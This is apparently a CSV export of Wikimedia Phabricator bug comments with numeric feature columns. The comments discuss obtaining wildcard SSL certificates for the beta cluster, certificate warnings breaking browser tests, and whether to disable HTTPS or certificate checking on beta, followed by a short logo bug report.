In the future Yuvi's proxy will handle load balancing, HTTPS and such. We'll be able to drop the NDA requirement (and the SSL cert) once we have that."
227127,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Ryan, it's possible to work around the problem, but the issue is that, for manual testing, it's too easy to blame the SSL problem for things that might be totally unrelated.  Let's deploy SSL either correctly or not-at-all to beta.",,,1377721482,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,0,True,2.0,0.0,2.0,0.0,2.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,7.0,2.0,6.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,15.0,6.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.7037037037037037,"Ryan, it's possible to work around the problem, but the issue is that, for manual testing, it's too easy to blame the SSL problem for things that might be totally unrelated.  Let's deploy SSL either correctly or not-at-all to beta."
227119,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"My original requests was to generate certificates for the beta wildcards domains using the 'Labs CA' certificate authority.  By adding that authority certificate in the browser (or accepting it), that should make the browser trust all the generated certs.",,,1377721422,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,0,True,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,23.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,2.0,9.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,4.0,0.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,4.617021276595745,0.7872340425531915,"My original requests was to generate certificates for the beta wildcards domains using the 'Labs CA' certificate authority.  By adding that authority certificate in the browser (or accepting it), that should make the browser trust all the generated certs."
227116,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,The automated tests were OK I think with maybe some small exceptions.  The hassle was having to visit all the hosts (e.g. bits) in your browser in order to use any beta wikis.,,,1377718091,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,0,True,8.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,13.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,11.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.763157894736842,0.8947368421052632,The automated tests were OK I think with maybe some small exceptions.  The hassle was having to visit all the hosts (e.g. bits) in your browser in order to use any beta wikis.
227113,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Is it not possible to disable certificate checking on the automated browser tests until we get a proper certificate? I remember this being possible years ago when I built a selenium cluster...,,,1377717965,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,6.0,9.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,9.0,0.0,3.0,0.0,0.0,12.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,4.735294117647059,0.8823529411764706,Is it not possible to disable certificate checking on the automated browser tests until we get a proper certificate? I remember this being possible years ago when I built a selenium cluster...
227109,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Mostly it makes using beta labs manually a real hassle.,,,1377716121,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,4.181818181818182,1.0,Mostly it makes using beta labs manually a real hassle.
227104,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,For those playing along at home: The Beta Cluster currently does not have https by default turned on for this very reason (it broke browser tests).,,,1377713093,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,17.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.066666666666666,1.0,For those playing along at home: The Beta Cluster currently does not have https by default turned on for this very reason (it broke browser tests).
227098,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"We should probably disable default https on beta until we have the opportunity to fix this up properly.  The proper fix, from what I understand, is pretty complicated, and isn't something we can do with just a day or two of elbow grease.",,,1377712492,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,0,True,0.0,2.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,10.0,14.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,6.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.9,0.88,"We should probably disable default https on beta until we have the opportunity to fix this up properly.  The proper fix, from what I understand, is pretty complicated, and isn't something we can do with just a day or two of elbow grease."
227094,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"There's no interface with firefox, either. The workaround is to manually go to https://bits.beta.wmflabs.org/ and accept the certificate there.",,,1377088410,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,4.0,13.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.260869565217392,0.9130434782608695,"There's no interface with firefox, either. The workaround is to manually go to URL and accept the certificate there."
227089,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,It seems to me that being able to test the new [[m:HTTPS]] stuff on beta is a rather high priority; otherwise beta should be fixed for its other uses by reverting the HTTPS redirect on it.,,,1377084434,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,2,True,,,-1,True,0.0,0.0,0.0,2.0,0.0,9.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,16.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,16.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,9.0,3.477272727272727,0.8409090909090909,It seems to me that being able to test the new [[m:HTTPS]] stuff on beta is a rather high priority; otherwise beta should be fixed for its other uses by reverting the HTTPS redirect on it.
227083,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Apparently the beta labs now forcefully redirect to https, which means all beta sides are unusable for me (Chrome) because there is no obvious way to accept the certificate for bits, so no resources are being loaded.",,,1377078117,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,2,False,,,-1,True,2.0,0.0,0.0,5.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,10.0,5.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,14.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.285714285714286,0.8333333333333334,"Apparently the beta labs now forcefully redirect to https, which means all beta sides are unusable for me (Chrome) because there is no obvious way to accept the certificate for bits, so no resources are being loaded."
227075,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,*** Bug 46621 has been marked as a duplicate of this bug. ***,,,1377077926,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,2,True,,,-1,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 46621 has been marked as a duplicate of this bug. ***
227069,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,*** Bug 49533 has been marked as a duplicate of this bug. ***,,,1377077878,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,2,True,,,-1,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49533 has been marked as a duplicate of this bug. ***
227063,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,*** Bug 53113 has been marked as a duplicate of this bug. ***,,,1377028391,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53113 has been marked as a duplicate of this bug. ***
227058,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Alex: turning ssl certificate verification off when doing automated testing is reasonably common because lots of folks don't run with valid certs and don't have a good infrastructure for distributing their self signed certs.  That isn't to say it is a good practice, just a common one.",,,1376416702,,PHID-USER-2rnfxoezl66afpa7w7in,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,2,False,,,-3,True,0.0,0.0,0.0,0.0,5.0,9.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,11.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,4.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,4.0,11.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,5.0,0.0,5.0,0.0,0.0,0.0,4.345454545454546,0.8,"Alex: turning ssl certificate verification off when doing automated testing is reasonably common because lots of folks don't run with valid certs and don't have a good infrastructure for distributing their self signed certs.  That isn't to say it is a good practice, just a common one."
227052,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Upping priority (a tiny bit) as we really need the beta cluster (hosted on labs) to be as similar to production as possible for automated testing. This is needed for that (specifically for SUL2, kinnnnnda important ;) ).",,,1376408675,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,2,False,,,-3,True,0.0,0.0,0.0,2.0,0.0,11.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,17.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,17.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.9782608695652173,0.782608695652174,"Upping priority (a tiny bit) as we really need the beta cluster (hosted on labs) to be as similar to production as possible for automated testing. This is needed for that (specifically for SUL2, kinnnnnda important ;) )."
227046,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"All browsers should force you to navigate that warning, unless you've somehow changed their configuration to somehow completely break that security feature.",,,1375118567,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,1,True,,,-5,True,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,16.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,16.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.4,0.84,"All browsers should force you to navigate that warning, unless you've somehow changed their configuration to somehow completely break that security feature."
227038,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"in the configurations we're using, other browsers don't require an automated test to negotiate a warning screen, see the screen shot on Bug 52121",,,1375112625,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,1,False,,,-5,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,4.357142857142857,0.8928571428571429,"in the configurations we're using, other browsers don't require an automated test to negotiate a warning screen, see the screen shot on Bug 52121"
227029,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,The other browsers don't like it either. Why is IE so special to you?,,,1375112429,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,24.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,18.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,6.0,6.0,6.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2941176470588234,1.0,The other browsers don't like it either. Why is IE so special to you?
227021,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,We need beta labs to work for IE in default configurations for test purposes. See Bug 52121,,,1375110403,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,6.0,22.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.9444444444444444,We need beta labs to work for IE in default configurations for test purposes. See Bug 52121
227015,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,*** Bug 52121 has been marked as a duplicate of this bug. ***,,,1374916134,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52121 has been marked as a duplicate of this bug. ***
227010,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Did not block the creation of a login wiki bug 51622

But it does prevents us from using SUL2 on beta which is bug 51580",,,1374694229,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,12.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,8.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,3.730769230769231,0.9615384615384616,"Did not block the creation of a login wiki bug 51622

But it does prevents us from using SUL2 on beta which is bug 51580"
227004,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Moving out from RT to ""Labs"" > ""Infrastructure"", per Ryan :)",,,1369121097,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,3.125,0.8125,"Moving out from RT to ""Labs"" > ""Infrastructure"", per Ryan :)"
226998,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,RT #5184,,,1369038519,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,33.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,1.0,RT #5184
226992,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Mailled labs-l to find out who can generate the cert. http://lists.wikimedia.org/pipermail/labs-l/2013-May/001212.html,,,1368605321,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.357142857142857,1.0,Mailled labs-l to find out who can generate the cert. URL
50236,Update login.wikimedia.org logo to avoid rsvg issues,"login.wikimedia.org is using https://upload.wikimedia.org/wikipedia/commons/thumb/8/81/Wikimedia-logo.svg/135px-Wikimedia-logo.svg.png for its logo currently, but this logo is weird. There's a green line connecting the two green pieces in the logo. Surely there's a 135px version on Commons somewhere we can use instead.

--------------------------
**Version**: wmf-deployment
